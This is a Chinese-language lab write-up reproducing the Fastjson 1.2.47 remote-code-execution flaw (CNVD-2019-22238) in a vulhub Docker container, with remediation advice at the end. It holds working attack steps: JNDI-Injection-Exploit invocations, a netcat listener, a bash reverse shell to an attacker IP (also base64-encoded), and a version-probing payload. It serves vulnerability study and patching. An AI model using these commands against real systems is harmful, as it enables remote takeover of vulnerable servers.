fastjson-CNVD-2019-22238漏洞复现
字数 1477 2025-08-10 17:51:54
Fastjson 1.2.47 远程代码执行漏洞复现与分析
1. 漏洞简介
1.1 Fastjson 简介
Fastjson 是一款开源 JSON 解析库,它可以:
- 解析 JSON 格式的字符串
- 支持将 Java Bean 序列化为 JSON 字符串
- 支持从 JSON 字符串反序列化到 JavaBean
1.2 漏洞说明
漏洞描述:
Fastjson 在解析 JSON 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。攻击者可以通过构造特定的恶意利用链实现远程代码执行。
漏洞条件:
- Fastjson 开启了 autotype 功能
- Fastjson 版本 <= 1.2.47
- JDK 1.8 版本
漏洞原理:
Fastjson 提供了反序列化功能,允许用户在输入 JSON 串时通过 "@type" 键指定任意反序列化类名。在数据传输时会默认调用该对象的 setter/getter 方法。攻击者可以利用 JdbcRowSetImpl 类,该类在 setAutoCommit 函数中会对成员变量 dataSourceName 进行 lookup,从而导致 JNDI 注入。
2. 漏洞复现
2.1 环境搭建
系统环境:
- Kali Linux (2023)
- Fastjson 1.2.47-rce
- JNDI-Injection-Exploit (JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)
- JDK 1.8.0_301
- fastjsonScan 工具
搭建步骤:
cd /home/kali/vulhub/fastjson/1.2.47-rce/
sudo docker-compose up -d
2.2 判断 Fastjson 版本
- 使用 DNSLog 只能判断是否存在 Fastjson,无法确定具体版本
- 使用 FastjsonScan.exe 工具
- 如果目标不出网,则无法判断
2.3 验证漏洞
构造 POST 请求方法,使用 DNSLog 进行验证。
2.4 写入文件
步骤:
- 启动 JNDI 注入利用工具:
cd /home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target/
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/ajest" -A "10.9.46.170"
- 查看 Docker 容器中的文件:
sudo docker ps -a
sudo docker exec -it a47a89bae3c8 /bin/bash
cd /tmp
ls
2.5 反弹 Shell
步骤:
- 在 Kali 上监听端口:
nc -lvp 1234
- 构造恶意请求:
- 反弹 Shell 命令:
bash -i >& /dev/tcp/10.9.46.170/1234 0>&1 - 对命令进行 Base64 编码(可使用在线工具如 https://ares-x.com/tools/runtime-exec)
- 启动 JNDI 注入利用工具:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.9.46.170"
- 使用 Burp Suite 发送构造好的请求包
3. 漏洞修复建议
-
升级 Fastjson:
- 升级到最新版(>=1.2.68,新增了 safemode,彻底关闭 autotype)
- 最少升级到 1.2.48 以上版本且关闭 autotype 选项
-
WAF 防护:
- 拦截过滤请求包中的 @type
- 拦截 %u0040%u0074%u0079%u0070%u0065、\u0040type、\x04type 等多种编码的 autotype 变形
-
升级 JDK:
- 升级到 8u191/7u201/6u211/11.0.1 以上版本
4. 补充说明
探测版本 Payload:
[{"a":"ax]{"@type":"java.lang.AutoCloseable"a
根据回显可以判断 Fastjson 版本。
注意事项:
- 目前还没有特别好的方法判断 Fastjson 的具体版本
- 该漏洞复现与 Fastjson 1.2.24 基本类似